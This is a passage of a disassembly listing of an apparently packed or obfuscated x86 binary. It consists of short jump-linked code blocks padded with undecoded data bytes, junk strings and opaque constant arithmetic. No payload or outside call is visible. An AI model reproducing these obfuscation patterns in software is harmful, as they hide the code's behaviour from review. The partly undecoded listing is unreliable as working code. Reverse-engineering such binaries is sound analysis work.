		dd 5B042474h, 5C24048Fh, 6529E9h, 54555C00h, 4C5815Dh
		dd 0E9000000h, 0EBB6h, 0E95FFB31h, 0F7AFh, 0F36C380h, 8B66C0B6h
		dd 34682414h, 8900000Ah, 0E589242Ch, 4EC8150h, 89000000h
		dd 0EABD242Ch, 0B868EB53h, 0EF3BBB4Fh, 7B157805h, 2DE8010Bh
		dd 0B7B1578h, 83242C8Bh, 0C66804C4h, 8900001Fh,	0E9E92434h
		dd 6600001Bh, 68240C8Bh, 524Fh,	0B48EE9h, 2434FF00h, 8B2434FFh
		dd 89562404h, 8403E9E6h, 0DE310000h, 44B9515Bh,	81CECD9Fh
		dd 934727EEh, 50CE0141h, 934727B8h, 0AB3DE941h,	0B1BB0000h
		dd 0C179E73Bh, 81E908E3h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5586A3:				; CODE XREF: sub_542C3C+14E56j
		add	ecx, edx
		jmp	loc_55A47A
; ---------------------------------------------------------------------------

loc_5586AA:				; CODE XREF: sub_542C3C+16FBAj
		mov	[esp+88h+var_88], eax
		push	edi
		mov	edi, 1A3C41B9h
		add	[esp+8Ch+var_88], edi
		pop	edi
		pop	edi
		sub	edi, 1A3C41B9h
		push	[esp+84h+var_84]
		jmp	loc_561D44
; ---------------------------------------------------------------------------

loc_5586C7:				; CODE XREF: sub_542C3C+1963Ej
		sub	esi, ebx
		pop	ebx
		push	esi
		dec	[esp+88h+var_88]
		pop	esi
		add	esi, 93FF7A2Fh
		sub	edi, 6B4E1B8Fh
		sub	edi, 4D41749Ah
		sub	edi, esi
		add	edi, 4D41749Ah
		push	edx
		mov	edx, 40CB464Eh
		jmp	loc_56278B
; ---------------------------------------------------------------------------
		dd 7655F281h, 0EA8102CDh, 31C2F6B0h, 0FFCB8AE9h, 5BDE21FFh
		dd 206AC681h, 31E9E086h, 0BD0000CAh, 113B278Fh,	4244481h
		dd 347F3D50h, 0BD12E9h
		db 0
; ---------------------------------------------------------------------------

loc_558725:				; CODE XREF: sub_542C3C+1A581j
		xor	esi, 205ABB18h
		add	edx, 334566Fh
		jmp	loc_55CF80
; ---------------------------------------------------------------------------
		dw 1433h
		dd 0B70F5C24h, 533B68C8h, 0C890000h, 0AE02E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55874A:				; CODE XREF: sub_542C3C+1C69Cj
		pop	ebx
		jmp	loc_55DE1C
; ---------------------------------------------------------------------------
aSJ		db ' Þéê†',0
		db 0
; ---------------------------------------------------------------------------

loc_558757:				; CODE XREF: sub_542C3C+11811j
		push	edx
		mov	edx, 4
		jmp	loc_567F2C
; ---------------------------------------------------------------------------
		dw 5005h
		dd 6829EB16h, 4918h, 0BF243C89h, 5E6A59AEh, 7553CF81h
		dd 0F7570C12h, 515F2414h, 5A4799B9h, 0B3E9E940h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55878A:				; CODE XREF: sub_542C3C+224A9j
		pop	esp
		xor	ebx, [esp+7Ch+var_7C]
		xor	[esp+7Ch+var_7C], ebx
		xor	ebx, [esp+7Ch+var_7C]
		mov	esp, [esp+7Ch+var_7C]
		sub	esi, 0F086F42Ch
		and	eax, esi
		push	[esp+7Ch+var_7C]
		mov	esi, [esp+80h+var_80]
		add	esp, 4
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_5653F4
; ---------------------------------------------------------------------------

loc_5587BB:				; CODE XREF: sub_542C3C+22EA8j
		sub	esp, 4
		mov	[esp+7Ch+var_7C], ecx
		mov	ecx, ebx
		push	ecx
		jmp	loc_564AA3
; ---------------------------------------------------------------------------

loc_5587CC:				; CODE XREF: sub_542C3C+199F5j
		add	esp, 4
		jmp	loc_56333B
; ---------------------------------------------------------------------------
		dd 4B951h, 0CD010000h, 83240C8Bh, 0BE5604C4h, 4, 555EF501h
		dd 42474FFh, 24048F5Dh,	0CCF7E9h
		db 0
; ---------------------------------------------------------------------------

loc_5587F9:				; CODE XREF: sub_542C3C+15226j
		and	esi, 381D1991h
		push	ecx
		mov	ecx, 427B0B51h
		shl	ecx, 7
		xor	ecx, 7A07C4B5h
		or	esi, ecx
		pop	ecx
		sub	esi, 7F837DB1h
		sub	ebx, 69D16289h
		add	ebx, esi
		push	ebp
		mov	ebp, 69D16289h
		add	ebx, ebp
		pop	ebp
		pop	esi
		add	ebx, 4
		jmp	loc_564918
; ---------------------------------------------------------------------------
		dd 7572B951h, 0D9F75116h, 694DE9h
		db 0
; ---------------------------------------------------------------------------

loc_558841:				; CODE XREF: sub_542C3C+1C9BEj
		or	ebp, 485D07FBh
		jmp	loc_562086
; ---------------------------------------------------------------------------
		dd 0B0CEF81h, 0B3E929ACh
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558857:				; CODE XREF: sub_542C3C+19311j
		push	3E42h
		jmp	loc_563E84
; ---------------------------------------------------------------------------

loc_558861:				; CODE XREF: sub_542C3C+19DE9j
		sub	ecx, eax
		pop	eax
		add	ecx, esi
		push	ebp
		mov	ebp, 68432E69h
		jmp	loc_564069
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 0Eh
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558877:				; CODE XREF: sub_542C3C+19E14j
		mov	eax, [esp+68h+var_68]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		jmp	loc_554609
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC83240Ch, 0DE70E904h, 8145FFFFh, 4ECh, 240C8900h
		dd 24E9E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5588AA:				; CODE XREF: sub_542C3C+11C8Fj
		sub	esp, 4
		mov	[esp+88h+var_88], esp
		add	[esp+88h+var_88], 4
		jmp	loc_5574D2
; ---------------------------------------------------------------------------
		db 0F6h
aHQ		db 'Óh¿Q',0
		align 2
		dw 489h
		dd 801FB424h, 0E32852C3h, 5852EB80h, 6885C380h,	43A5h
		dd 88241489h, 0F58851DEh, 5A59E888h, 5B2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8Ch+var_8C]
		pop	esp
		mov	bl, al
		push	[esp+88h+var_88]
		jmp	loc_5564B7
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 9EE95A24h, 5E000010h, 5C241487h, 24048F54h, 4240483h
		dd 0BFAAE9h, 0C0F2B300h, 0B45007E3h, 8E4C08Fh, 0FFB6C4E9h
		dd 81D6F7FFh, 0BA0C7FCEh, 81D6F76Ch, 4927EDC6h,	0D0EE817Dh
		dd 290F8533h, 0F1815EF1h, 91C80791h, 0C8BCB09h,	0E0895024h
		dd 0DFCAE9h, 4484BF00h,	0F9010045h, 0E9CB295Fh,	81D7h
; ---------------------------------------------------------------------------

loc_55896C:				; CODE XREF: sub_542C3C+1DD02j
		xchg	esi, [esp+8Ch+var_8C]
		pop	esp
		mov	[esp+88h+var_88], ecx
		mov	ecx, 4FC67984h
		push	edx
		push	esp
		pop	edx
		jmp	loc_55F2DD
; ---------------------------------------------------------------------------

loc_558980:				; CODE XREF: sub_542C3C+22AC2j
		add	ebp, 4
		sub	esp, 4
		mov	[esp+90h+var_90], ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_56073D
; ---------------------------------------------------------------------------
		dd 4E9835Dh, 5C240C87h,	0FFEE5EE9h, 2434FFFFh, 0E3895359h
		dd 4B850h, 69E90000h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5589BB:				; CODE XREF: sub_542C3C+2289Bj
		xor	eax, ebp
		pop	ebp
		mov	edx, 14471971h
		sub	edx, 49BA0ED0h
		add	edx, eax
		add	edx, 49BA0ED0h
		mov	eax, [esp+88h+var_88]
		push	ebx
		jmp	loc_565C81
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 0E9000000h, 0FFFFB4E0h, 41068h, 24348900h, 359C68h
		dd 24248900h, 0C9C0E9h,	8BCA0100h, 0CFE9240Ch
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558A03:				; CODE XREF: sub_542C3C+1FB57j
		mov	ecx, 28241E4h
		sub	ecx, 78E64F23h
		and	ecx, 45AB439Eh
		jmp	loc_562391
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0F24E924h, 0EA880000h, 2671E9h
		db 0
; ---------------------------------------------------------------------------

loc_558A29:				; CODE XREF: sub_542C3C+22B3Fj
		mov	ah, 28h
		shr	ah, 4
		sub	ah, 0A1h
		jmp	loc_55F990
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0BA5204h, 29000000h,	0EFE950CAh, 0BD00003Bh,	218D52C3h
		dd 1F87E950h, 1660000h,	0E99C2404h, 0FFFFAAF0h
; ---------------------------------------------------------------------------

loc_558A5C:				; CODE XREF: sub_542C3C+19E8Dj
		xor	[esp+8Ch+var_8C], ebp
		xor	ebp, [esp+8Ch+var_8C]
		pop	esp
		movzx	ecx, al
		push	0CD4h
		mov	[esp+8Ch+var_8C], ecx
		jmp	loc_564ABC
; ---------------------------------------------------------------------------
		db 5Dh
		dd 15B5953h, 240C8BC8h,	0E904C483h, 2A92h
; ---------------------------------------------------------------------------

loc_558A84:				; CODE XREF: sub_542C3C+145CAj
		mov	ah, 76h
		shl	ah, 7
		add	ah, 13h
		add	ah, 53h
		sub	ah, 35h
		add	cl, ah
		mov	eax, [esp+92h+var_94+2]
		add	esp, 4
		jmp	loc_5606BD
; ---------------------------------------------------------------------------

loc_558A9F:				; CODE XREF: sub_542C3C+2134Dj
		pop	[esp+8Eh+var_90+2]
		pop	esp
		or	eax, eax
		jmp	loc_56101F
; ---------------------------------------------------------------------------

loc_558AAA:				; CODE XREF: sub_542C3C+1218Cj
		push	esi
		push	3F020FDEh
		pop	esi
		shr	esi, 6
		neg	esi
		jmp	loc_55EC53
; ---------------------------------------------------------------------------
a34St		db '34$éâ]',0
		dw 900h
		dd 0E1815AD1h, 1C957D57h, 0FFF9EBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558AD1:				; CODE XREF: sub_542C3C+1DDACj
		add	esp, 4
		push	edx
		push	ebp
		mov	ebp, 4C2D152Eh
		push	edi
		mov	edi, 0DFC90795h
		mov	edx, edi
		jmp	loc_553B9D
; ---------------------------------------------------------------------------
		dd 3B6AABBFh, 56F78168h, 814E2019h, 383466CFh, 0C6F7814Dh
		dd 2919E239h, 0D3015FFBh, 4E39C381h, 34FF76D9h,	4EDE924h
		dd 6C810000h, 2D0B0424h, 0E3E91E5Ah
		db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_558B1F:				; CODE XREF: sub_542C3C+23A88j
		inc	ebx
		shl	ebx, 7
		and	ebx, 1D0B5A49h
		shr	ebx, 2
		add	ebx, 31F183BFh
		jmp	loc_555A57
; ---------------------------------------------------------------------------
		db 81h
		dd 663751C2h, 22CA8178h, 8118ED21h, 312A70C2h, 0E4C2815Ch
		dd 29680538h, 0C6295AD6h, 0AFEBD55h, 0EE016026h, 0BD55585Dh
		dd 6E1A25DEh, 8B5DEE29h, 0C481243Ch, 4,	0C358E9h, 0DEC38100h
		dd 892E2598h, 0F2E95BDDh, 310000A9h, 31D531EAh,	0E9CD87EAh
		dd 6DB8h, 54242C89h, 4039E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558B9A:				; CODE XREF: sub_542C3C+1695Bj
		push	esi
		sub	[esp+78h+var_78], 41804520h
		jmp	loc_5636E5
; ---------------------------------------------------------------------------

loc_558BA7:				; CODE XREF: sub_542C3C+13992j
		mov	[esp+84h+var_84], ebx
		jmp	loc_56706D
; ---------------------------------------------------------------------------

loc_558BAF:				; CODE XREF: sub_542C3C+10D83j
		push	edi
		jmp	loc_564A4F
; ---------------------------------------------------------------------------
		db 29h,	0EEh, 81h
		dd 0B11A1AEEh, 0BC62E916h, 85E90000h, 5AFFFFA9h, 0FFC31EE9h
		dd 3FB753FFh, 0E903EFC0h, 0FFFFDFF0h, 240C8B66h, 0C8B5451h
		dd 58786824h, 0C890000h, 55595424h, 0FFFDE9E9h,	6EEC1FFh
		dd 8103E6C1h, 0E54B73E6h, 5E6C125h, 120DF681h, 0DEF72C2Eh
		dd 0E906E6C1h, 8BE6h
; ---------------------------------------------------------------------------

loc_558C10:				; CODE XREF: sub_542C3C+1E365j
		push	esi
		mov	esi, 55FB1172h
		mov	edx, 73D66AC3h
		push	ecx
		mov	ecx, 16C41278h
		neg	ecx
		not	ecx
		push	eax
		mov	eax, 51374556h
		and	eax, 46A51E10h
		jmp	loc_555A96
; ---------------------------------------------------------------------------
aBsffiusT	db 'éFF¨UéÏ’',0
		align 10h
		dd 0D224248Bh, 0E99C240Ch, 0FFFFA900h
; ---------------------------------------------------------------------------

loc_558C4C:				; CODE XREF: sub_542C3C+14BA8j
		mov	edx, 20h
		sub	edx, 2A316BA2h
		add	edx, edi
		add	edx, 2A316BA2h
		push	3AF8h
		mov	[esp+44h+var_44], esi
		mov	esi, eax
		mov	[edx], esi
		mov	esi, [esp+44h+var_44]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		jmp	loc_55D066
; ---------------------------------------------------------------------------
		dd offset dword_457444+50B24h
		dw 8900h
		dd 0FEBD242Ch, 55775A2Fh, 0A06FE9h, 242C8100h, 1CCA304Bh
		dd 58BEB951h, 4481128Fh, 742E0424h, 4C292924h, 6C810424h
		dd 742E0424h, 0DE92924h, 8900005Fh, 0C3B42404h,	0F4BCE9h
		dd 5FFE3100h, 10BACE81h, 0C68146F9h, 21C524F1h,	96C681h
		dd 0F0294B03h, 5E2434FFh, 81E38953h, 4C3h, 4BE5600h, 1000000h
		dd 24348BF3h, 8704C483h, 815C241Ch, 0BB5C8DEBh,	0AFC38128h
		dd 12F6035h, 0AFEB81C3h, 522F6035h, 0BE1A5D68h,	0E2C15A52h
		dd 9FBE5602h, 0E9386D04h, 0FFFFE16Ah
; ---------------------------------------------------------------------------

loc_558D24:				; CODE XREF: sub_542C3C+187B1j
		pop	esi
		push	eax
		mov	eax, 2E834BF8h
		jmp	loc_553C76
; ---------------------------------------------------------------------------
		dd 0CB81435Bh, 2CB26304h, 3A6BBA52h, 0D331755Dh, 0E9h
		dd 24148B00h, 4C481h, 0F3810000h, 245A329Dh, 0CE9D989h
		dd 5900008Fh, 0D87E9h, 4C18100h, 0E9000000h, 30B3h, 6BEA3205h
		dd 3093E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558D76:				; CODE XREF: sub_542C3C+213A9j
		add	ebp, 4
		xchg	ebp, [esp+4Ch+var_4C]
		jmp	loc_559AF2
; ---------------------------------------------------------------------------

loc_558D84:				; CODE XREF: sub_542C3C+1F576j
		pop	edx
		jmp	loc_5644FB
; ---------------------------------------------------------------------------
		dw 0F305h
		dd 4829425Fh, 0B6F5E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558D96:				; CODE XREF: sub_542C3C+148ACj
		xor	ebx, [esp+80h+var_80]
		jmp	loc_55403D
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0B0FAE924h, 4368FFFFh, 8900005Ah, 0BA522434h, 376218C7h
		dd 0D430FEBEh, 0E9D62991h, 0FFFFE37Eh, 50B7EB81h, 8DE90C28h
		db 0B0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_558DCB:				; CODE XREF: sub_542C3C+25204j
		xchg	ecx, [esp+80h+var_80]
		pop	esp
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 46724752h
		jmp	loc_566BAA
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0F7E90000h, 81FFFFD7h, 25302CC1h, 0BB88E909h, 51450000h
		dd 0BB61EAB9h, 0F7F1874Bh, 518CE9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558E02:				; CODE XREF: sub_542C3C+25292j
		add	ebp, 4AF84342h
		sub	ebp, 78000BB1h
		add	ebp, 0ECBF7B81h
		add	ebx, ebp
		jmp	loc_562AAC
; ---------------------------------------------------------------------------
		db 66h
		dd 8B66F329h, 13E92434h, 52000023h, 0E918B050h,	0FFFFBAABh
		dd 5107E6C1h, 6B716853h, 815B06C8h, 0C8299CEBh,	5BD98995h
		dd 5C60E181h, 0E18149CDh, 116860F3h, 47EFE181h,	0F181301Bh
		dd 62B0084Ch, 1869C181h, 0CE21A63Dh, 0BF575559h, 4AAE4063h
		dd 1910E781h, 0EF8102B8h, 0FFFFFFFFh, 0EF81E7D1h, 4F3648CAh
		dd 5B9FEF81h, 0FD89A5BDh, 0F7C5815Fh, 3149A01Eh, 2434FFEEh
		dd 4C4815Dh, 89000000h,	0D3295EF2h, 0E924148Bh,	0FFFFE6ACh
; ---------------------------------------------------------------------------

loc_558EA8:				; CODE XREF: sub_542C3C+2343Ej
		mov	ebp, 42A2593Dh
		and	edi, ebp
		jmp	loc_56189B
; ---------------------------------------------------------------------------

loc_558EB4:				; CODE XREF: sub_542C3C+17F4Dj
		push	ebx
		mov	ebx, 4185AE5h
		xor	[esp+88h+var_84], ebx
		pop	ebx
		push	[esp+84h+var_84]
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, 50CD3E05h
		shr	edi, 4
		sub	esp, 4
		mov	[esp+88h+var_88], edx
		mov	edx, 25D04CD2h
		shr	edx, 1
		push	6B5Ah
		mov	[esp+8Ch+var_8C], ebp
		mov	ebp, 656D5C5Ch
		jmp	loc_56043D
; ---------------------------------------------------------------------------
		dd 10F7B850h, 0C6291746h, 81D6F758h, 240E1E6h, 83C6811Fh
		dd 81E5FFBFh, 6037EFh, 81F7291Fh, 6037C7h, 3C335E1Fh, 243C3124h
		dd 5C243C33h, 54240C89h, 4EC8159h, 89000000h, 0E9532414h
		dd 0FFFFBF20h
; ---------------------------------------------------------------------------

loc_558F38:				; CODE XREF: sub_542C3C+1F988j
		pop	ebx
		jmp	loc_55D0F7
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 7FC141A7h, 5DC5E9h, 2434FF00h, 0E924148Bh, 0FFFFCF47h
		dd 0AF7BA52h, 0EAC16E6Ch, 0B3C28105h, 147CB11h,	0BA525AD5h
		dd 4E297B1Bh, 1BE56h, 0F2290000h, 0CDBEE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558F7A:				; CODE XREF: sub_542C3C+13E83j
		mov	esi, [esp+80h+var_80]
		sub	esp, 4
		jmp	loc_5650EA
; ---------------------------------------------------------------------------
a1ZiS4g		db '1ÐZ‰Ãé4G',0
		db 0
; ---------------------------------------------------------------------------

loc_558F8F:				; CODE XREF: sub_542C3C+126B8j
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp+0AAh+var_AA]
		xor	[esp+0AAh+var_AA], edx
		xor	edx, [esp+0AAh+var_AA]
		jmp	loc_5543AF
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0C7830000h, 74FF5704h, 8F5F0424h, 0E95C2404h
		dd 0F31Bh
; ---------------------------------------------------------------------------

loc_558FC0:				; CODE XREF: sub_542C3C+17BFDj
		shr	edi, 1
		add	edi, 1DBE179Ch
		push	edi
		mov	ebp, [esp+0AEh+var_AE]
		jmp	loc_56731C
; ---------------------------------------------------------------------------

loc_558FD1:				; CODE XREF: sub_542C3C+25C60j
		pop	dword ptr [eax]
		xor	dword ptr [eax], 13C06636h
		push	[esp+0AAh+var_AA]
		pop	eax
		add	esp, 4
		jmp	loc_55C18E
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 93h
		dd 0E9028E67h, 0FFFFA9E5h, 2474FF57h, 2434FF04h, 0EBE9555Fh
		dd 5A000071h, 4C481h, 1C330000h, 241C3124h, 5C241C33h
		dd 24042166h, 0A532E99Ch, 37B5FFFFh, 0E580C5FEh, 70ED80B6h
		dd 0FE06EDC0h, 0E8C580C5h, 0FE59EE88h, 33CE80CEh, 0FCB35366h
		dd 0C0FFC380h, 0EBC002EBh, 0E9C3FE02h, 0EEBFh, 0E691E957h
		dd 0E9530000h, 0B54Eh, 4C48159h, 68000000h, 4A3Bh, 89242C89h
		dd 4C581E5h, 83000000h,	2C3304C5h, 242C3124h, 0E9242C33h
		dd 0BE91h, 0BE243489h, 0CC950A2h, 24348156h, 36C472E2h
		dd 0FFE0E0E9h, 4C481FFh, 56000000h, 2BEh, 1EC78100h, 816BEC71h
		dd 0A75F15EFh, 0DC0E95Eh, 0CD010000h, 2CC6ED81h, 0CE917F1h
		dd 0D2000044h, 0E99C2404h, 0FFFFE5F4h, 3B5F9ABBh, 0D3F74369h
		dd 4DF5C381h, 0C3812DBDh, 63C944E4h, 0E4E9DD89h, 8BFFFFCDh
		dd 0C7812424h, 4, 0E904C783h, 0FFFFE931h, 8B2434FFh, 0C483241Ch
		dd 4C48104h, 81000000h,	0E3680DF1h, 5EE9816Eh, 52076A4Fh
		dd 564C6EBAh, 5AD101E6h, 0EFE9CD89h, 56FFFFDFh,	4B4D68h
		dd 48F5400h, 4BF5724h, 1000000h, 8B04247Ch, 0C481243Ch
		dd 4, 8324348Bh, 756804C4h, 89000035h, 0BF57241Ch, 3F5D1A05h
		dd 40E9FB89h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559153:				; CODE XREF: sub_542C3C+2506Ej
		sub	ebx, 5C910BBBh
		pop	esi
		and	eax, ebx
		pop	ebx
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	3F25h
		jmp	loc_556B32
; ---------------------------------------------------------------------------

loc_55916E:				; CODE XREF: sub_542C3C+1540Cj
		sub	ecx, eax
		pop	eax
		add	ecx, 680516EDh
		add	ecx, 7B3C4FB0h
		shr	ecx, 8
		sub	ecx, 1929083Dh
		push	eax
		jmp	loc_55BDB4
; ---------------------------------------------------------------------------

loc_55918C:				; CODE XREF: sub_542C3C+21E68j
		push	[esp+98h+var_98]
		jmp	loc_556BB5
; ---------------------------------------------------------------------------

loc_559194:				; CODE XREF: sub_542C3C+1433Bj
		add	esp, 4
		jmp	loc_55D9C9
; ---------------------------------------------------------------------------
		db 89h
		dd 0BF66243Ch, 0C16607ABh, 816603E7h, 6655E5F7h, 0CF5EC781h
		dd 81665766h, 1BD5242Ch, 81665E66h, 0E91BD5C6h,	266Bh
		dd 6824248Bh, 4644h, 68241C89h,	224Fh, 50240C89h, 0C188D088h
		dd 8DAEE958h, 0F1810000h, 0FCE29347h, 9934E9h, 81CE0100h
		dd 612843EEh, 2434FF1Dh, 4EC8159h, 89000000h, 89512414h
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 2424895Ch, 784CE9h
		dd 3AE1B900h, 0CE296019h, 83240C8Bh, 0C14604C4h, 0C68106E6h
		dd 2DC35AE2h, 0A46BA52h, 814A194Dh, 1B6EABF2h, 0E9D6018Bh
		dd 0E25Eh
; ---------------------------------------------------------------------------

loc_55924C:				; CODE XREF: sub_542C3C+12FE8j
		sub	eax, 1B8C3009h
		sub	ecx, 2BD64AC0h
		add	ecx, eax
		add	ecx, 2BD64AC0h
		pop	eax
		add	ecx, 4
		push	7969h
		mov	[esp+84h+var_84], ecx
		push	[esp+84h+var_80]
		jmp	loc_55DE24
; ---------------------------------------------------------------------------
		db 56h
		dd 0E8CE57BEh, 8BF23139h, 0C4832434h, 8BD00104h, 0C4812414h
		dd 4, 0E904EC83h, 8CC9h, 33241C31h, 248B241Ch, 24042124h
		dd 0A2A2E99Ch, 48BFFFFh, 4C48324h, 0FFA297E9h, 7DC780FFh
		dd 0F8305966h, 0A702E95Bh, 6C81FFFFh, 571A0424h, 74012860h
		dd 7FE90424h, 81FFFFA2h, 0F124DFF6h, 1D3DE9B5h,	7D2C0000h
		dd 1ADAE9h
		db 0
; ---------------------------------------------------------------------------

loc_5592E5:				; CODE XREF: sub_542C3C+1F5EDj
		pop	ebx
		add	ecx, ebp
		pop	ebp
		xor	ebx, ecx
		pop	ecx
		jmp	loc_55B80A
; ---------------------------------------------------------------------------
aSgv		db ']éGV',0
		dw 8900h
		dd 7EE9241Ch
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5592FF:				; CODE XREF: sub_542C3C+10F63j
		mov	esi, 23B66F50h
		add	edx, esi
		pop	esi
		sub	edx, 76D016BFh
		add	edx, ebp
		add	edx, 76D016BFh
		push	esi
		push	edi
		push	eax
		mov	eax, 0C574367h
		xor	eax, 493B5B38h
		inc	eax
		and	eax, 6D54259Ch
		and	eax, 611F331Ch
		sub	eax, 265B0FE5h
		add	eax, 54AD780Bh
		mov	edi, eax
		pop	eax
		mov	esi, edi
		jmp	loc_564236
; ---------------------------------------------------------------------------

loc_559341:				; CODE XREF: sub_542C3C+1DB44j
		pop	ebx
		inc	ecx
		xor	ecx, 495C2EA2h
		sub	ecx, 16B1778Dh
		jmp	loc_55FD31
; ---------------------------------------------------------------------------
aUhd5		db 'UhD5',0
		align 2
		dw 1AE9h
		dd 80FFFFC8h, 0C48069E4h, 58E6003Eh, 148BF028h,	66666824h
		dd 14890000h, 0E95A5424h, 0B8E7h
; ---------------------------------------------------------------------------

loc_55937C:				; CODE XREF: sub_542C3C+1CDBAj
		pop	[esp+4Ch+var_4C]
		jmp	loc_565695
; ---------------------------------------------------------------------------

loc_559384:				; CODE XREF: sub_542C3C+14530j
		push	dword ptr [edi+eax*4]
		push	[esp+9Ah+var_9C+2]
		push	dword ptr [esp]
		mov	eax, [esp+0A2h+var_A2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0A6h+var_A6]
		jmp	loc_55D872
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFFC7h, 0B1EDE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5593B2:				; CODE XREF: sub_542C3C+17B85j
		mov	ebx, 7D707CC2h
		mov	edx, 0D0DB90A0h
		jmp	loc_555932
; ---------------------------------------------------------------------------
		db 87h,	0D9h, 0F7h
		dd 31D931D3h, 81D931CBh, 8B11C1C1h, 59CA0102h, 709D68h
		dd 24048900h, 0A9E4E951h, 0C8B0000h, 0B526824h,	2C890000h
		dd 81E58924h, 4C5h, 4C58300h, 0E9242C87h, 0FFFFE473h
; ---------------------------------------------------------------------------

loc_559400:				; CODE XREF: sub_542C3C+1F761j
		add	edx, ecx
		jmp	loc_55E67B
; ---------------------------------------------------------------------------

loc_559407:				; CODE XREF: sub_542C3C+233D7j
		mov	ebp, 1
		push	ebp
		jmp	loc_5614C9
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 6F45443Eh, 0C381D3F7h, 0E7BB0009h, 315BDD89h, 0DF895DEBh
		dd 0E92434FFh, 3FC4h
; ---------------------------------------------------------------------------

loc_559430:				; CODE XREF: sub_542C3C+1B805j
		xchg	ebp, [esp+0AAh+var_AA]
		pop	esp
		shl	edi, 6
		sub	edi, 1CB4287Fh
		xor	edi, 0E3CBAB16h
		mov	edx, edi
		pop	edi
		push	ebp
		jmp	loc_556B7F
; ---------------------------------------------------------------------------

loc_55944C:				; CODE XREF: sub_542C3C+1AD88j
		pop	esi
		jmp	loc_55EFF9
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 684h, 1ED805Ah, 30E0E9h, 0F2814A00h,	0C5905CCCh, 0D343E9h
		dd 28586600h, 0B05052CBh, 88E0348Fh, 0DAF658C2h, 8042C280h
		dd 0D300F6F2h, 0E959665Ah, 592Ah
; ---------------------------------------------------------------------------

loc_55948C:				; CODE XREF: sub_542C3C+24D1Cj
		add	ebx, 4
		xor	ebx, [esp+0A2h+var_A2]
		xor	[esp+0A2h+var_A2], ebx
		jmp	loc_55C025
; ---------------------------------------------------------------------------

loc_55949A:				; CODE XREF: sub_542C3C+135C4j
		add	[esp+9Eh+var_9C+2], 61841142h
		sub	[esp+9Eh+var_9C+2], ebp
		push	ebx
		mov	ebx, 61841142h
		sub	[esp+0A2h+var_9C+2], ebx
		pop	ebx
		jmp	loc_55A8D7
; ---------------------------------------------------------------------------
		dw 5F54h
		dd 0FFD326E9h, 2434FFFFh, 0D2E9535Dh, 8F00007Bh, 4832404h
		dd 57580424h, 294711BFh, 5EFC14Fh, 0B5CCC781h, 25E9FD86h
		dd 580000D9h, 4C481h, 48F0000h,	0F7665C24h, 926866E1h
		dd 14896660h, 9C506624h, 0FFA04BE9h, 4C381FFh, 33000000h
		dd 1C31241Ch, 241C3324h, 6824248Bh, 124Eh, 0E9243489h
		dd 0A420h, 24048B66h, 1E4DE9h, 0EE815A00h, 2, 31243433h
		dd 34332434h, 3525E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55953E:				; CODE XREF: sub_542C3C+10F24j
		mov	[esp+48h+var_48], eax
		mov	eax, 78594943h
		or	eax, 49C4414Fh
		sub	eax, 3CAF2500h
		neg	eax
		sub	eax, 0C2D1DBADh
		jmp	loc_554876
; ---------------------------------------------------------------------------

loc_55955C:				; CODE XREF: sub_542C3C+1DBB5j
		pop	esp
		mov	[esp+44h+var_44], edx
		push	ebx
		jmp	loc_565746
; ---------------------------------------------------------------------------

loc_559566:				; CODE XREF: sub_542C3C+21256j
		push	esi
		push	0F780BD3h
		pop	esi
		jmp	loc_561DED
; ---------------------------------------------------------------------------
		dw 525Fh
		dd 4EC81h, 2C890000h, 6F77BD24h, 73BA0AB5h, 310AB56Fh
		dd 2434FFEAh, 0FFEA32E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559591:				; CODE XREF: sub_542C3C+11046j
		sub	esi, 0CCCE7E2h
		jmp	loc_558B9A
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0AC55E951h, 0C631FFFFh, 98F1E9h, 8BEB0100h
